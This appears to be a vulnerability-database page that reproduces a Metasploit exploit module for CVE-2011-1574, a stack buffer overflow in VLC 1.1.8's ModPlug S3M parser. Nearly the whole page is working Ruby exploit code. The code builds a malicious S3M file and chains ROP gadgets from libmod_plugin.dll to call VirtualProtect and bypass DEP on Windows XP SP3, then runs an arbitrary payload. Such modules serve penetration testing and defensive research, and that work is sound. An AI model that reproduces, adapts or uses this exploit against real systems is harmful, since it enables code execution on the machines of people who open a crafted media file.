Lucene search
K

VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow

🗓️ 06 May 2011 15:29:07Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 38 Views

VideoLAN VLC ModPlug input validation error exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits an input validation error in libmod_plugin as
        included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
        are affected. By creating a malicious S3M file, a remote attacker
        could execute arbitrary code.

        Although other products that bundle libmodplug may be vulnerable, this
        module was only tested against VLC.

        NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
        permanently enable NX support on machines that support it. As such,
        this module is capable of bypassing DEP, but not ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2011-1574' ],
          [ 'OSVDB', '72143' ],
          [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2011/Apr/113' ]
        ],
      'Payload'        =>
        {
          'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code
          #'DisableNops'	=> true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'VLC 1.1.8 on Windows XP SP3',
            {
              # vuln is in libmod_plugin.dll, rop is custom to this module
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-04-07', # "found: 2011-03-09"
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),
      ])
  end

  def exploit

    num_orders = 0x14
    num_instru = 0x15
    num_patterns = 0x18

    hdr = "\x00" * 0x1c # song name (none)
    hdr << [
      0x1a,   # static byte
      0x10,   # ST3 module
      0x00,   # padding
      num_orders,
      num_instru,
      num_patterns,
      0x00,   # Flags
      0x1320, # Created with (which tracker)
      0x02,   # File format information
    ].pack('CCvvvvvvv')
    hdr << "SCRM"

    hdr << [
      0x40, # global volume
      0x06, # initial speed
      0x8a, # initial tempo
      0xb0, # master volume
      0x10, # ultra click removal
      0xfb  # NOTE, non-0xfc value skips an additional loop!
      # 0xfc == default channel pan positions present
    ].pack('CCCCCC')
    hdr << "\x00" * 10  # includes pad and special pointer

    # channel settings (for 32 channels)
    hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
    hdr << "\xff" * 16

    # orders
    hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
    hdr << "\x14\x16\x17\xff"

    # parapointers to instruments
    hdr << [ 0x0f ].pack('v') * num_instru

    # parapoitners to patterns
    hdr << [ 0x78 ].pack('v') * num_patterns

    # channel default pan positions
    hdr << "\x00" * 32

    # instruments
    instru = "\x01metasplo.ity"
    rest = "\x00" * ((0x50 * num_instru) - instru.length)

    # Build the rop stack
    rvas = rvas_libmod_plugin_xpsp3()
    rop = generate_rop(rvas)
    zero_ptr = rva2addr(rvas, 'Scratch') + 4
    mutex_addr = rva2addr(rvas, 'Scratch') + 8
    imp_Sleep = rva2addr(rvas, 'imp_Sleep')

    # A mutex to prevent double payloads
    locking_code = <<-EOS
  mov ebx, [ #{imp_Sleep} ]
  jmp test_lock

sleep:
  push 0xdeadbeef
  call ebx

test_lock:
  mov eax, [ #{mutex_addr} ]
  test eax,eax
  jnz sleep

  lock cmpxchg [ #{mutex_addr} ], ebp
  test eax,eax
  jnz sleep

EOS
    rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
    rop << payload.encoded

    # This becomes the new EIP (after return)
    ret = rva2addr(rvas, 'pop eax / ret')
    rest[1267, 4] = [ ret ].pack('V')

    # In order to force return, we smash the this ptr on the stack and point
    # it so that m_nChannels turns out to be 0.
    rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')

    # Add the ROP stack and final payload here
    rest[1275, rop.length] = rop
    instru << rest

    # patterns
    patt = [ 0x10 ].pack('v')
    patt << "\x00" * 0x10


    # finalize the file
    s3m = ""
    s3m << hdr

    instru_pad = (0x0f * 0x10) - hdr.length
    s3m << "\x80" * instru_pad
    s3m << instru


    # patch in exploit trigger values
    s3m[0x22, 2] = [ 0x220 ].pack('v')
    s3m[0x24, 2] = [ 0x220 ].pack('v')


    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(s3m)

  end

  def rvas_libmod_plugin_xpsp3()
    # libmod_plugin.dll from VLC 1.1.8 (Win32)
    # Just return this hash
    {
      # Used as 'Ret' for target
      'ret'                    => 0x1022,
      'push eax / ret'         => 0x1cc4d,
      'pop eax / ret'          => 0x598a2,
      'mov eax, [eax+0x1c] / ret' => 0x542c9,
      'pop ebx / pop ebp / ret' => 0x25e2f,
      'add eax, 4 / pop ebp / ret' => 0x7028,
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
      'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
    }
  end

  def generate_rop(rvas)
    # ROP fun! (XP SP3 English, Apr 10 2011)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x653c0000,
      'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve
      'imp_Sleep'              => 0xec2dc,
      'Scratch'                => 0x5fbfc,
      'Data'                   => 0x60101,
      #'DataAdjusted'           => 0x60000 - 0x58 + 0x8,
      'DataAdjusted'           => 0x60000 - 0x58,
    })

    copy_stage = <<-EOS
  nop
  push esp
  pop esi
  lea edi, [eax+0x10]
  push 0x7f
  pop ecx
  inc ecx
  rep movsd
EOS
    copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
    if (copy_stage.length % 4) > 0
      fail_with(Failure::Unknown, "The copy stage is invalid")
    end

    rop_stack = [
      # Resolve VirtualProtect
      'pop eax / ret',
      'imp_VirtualProtect',
      'mov eax, [eax+0x1c] / ret',

      # Call VirtuaProtect
      'push eax / ret',
      'pop eax / ret',   # after VirtualProtect
      # Args to VirtualProtect
      'Data',      # lpAddress (place holder, filled in @ runtime above)
      0x1000,      # dwSize
      0x40,        # flNewProtect
      'Scratch',   # lpflOldProtect

      # Load the pre-adjusted Data addr
      'DataAdjusted', # matches pop eax / ret above

      ##
      # Write our code little stager to our newly executable memory.
      ##

      # Load the last 32-bits of code to write
      'pop ebx / pop ebp / ret',
      copy_stage[0, 4].unpack('V').first,
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      copy_stage[4, 4].unpack('V').first,
      :unused, # esi
      :unused, # edi
      :unused, # ebp
      'add eax, 4 / pop ebp / ret',
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      copy_stage[8, 4].unpack('V').first,
      :unused, # esi
      :unused, # edi
      :unused, # ebp
      'add eax, 4 / pop ebp / ret',
      :unused, # ebp

      # Write & advance
      'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
      0xffffffb0,  # adjustment value
      :unused, # esi
      :unused, # edi
      :unused, # ebp

      # Adjust eax
      'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
      :unused, # ebx
      :unused, # edi
      :unused, # ebp

      # Execute the copy stage
      'push eax / ret',
    ]

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 26.8
EPSS0.42941
38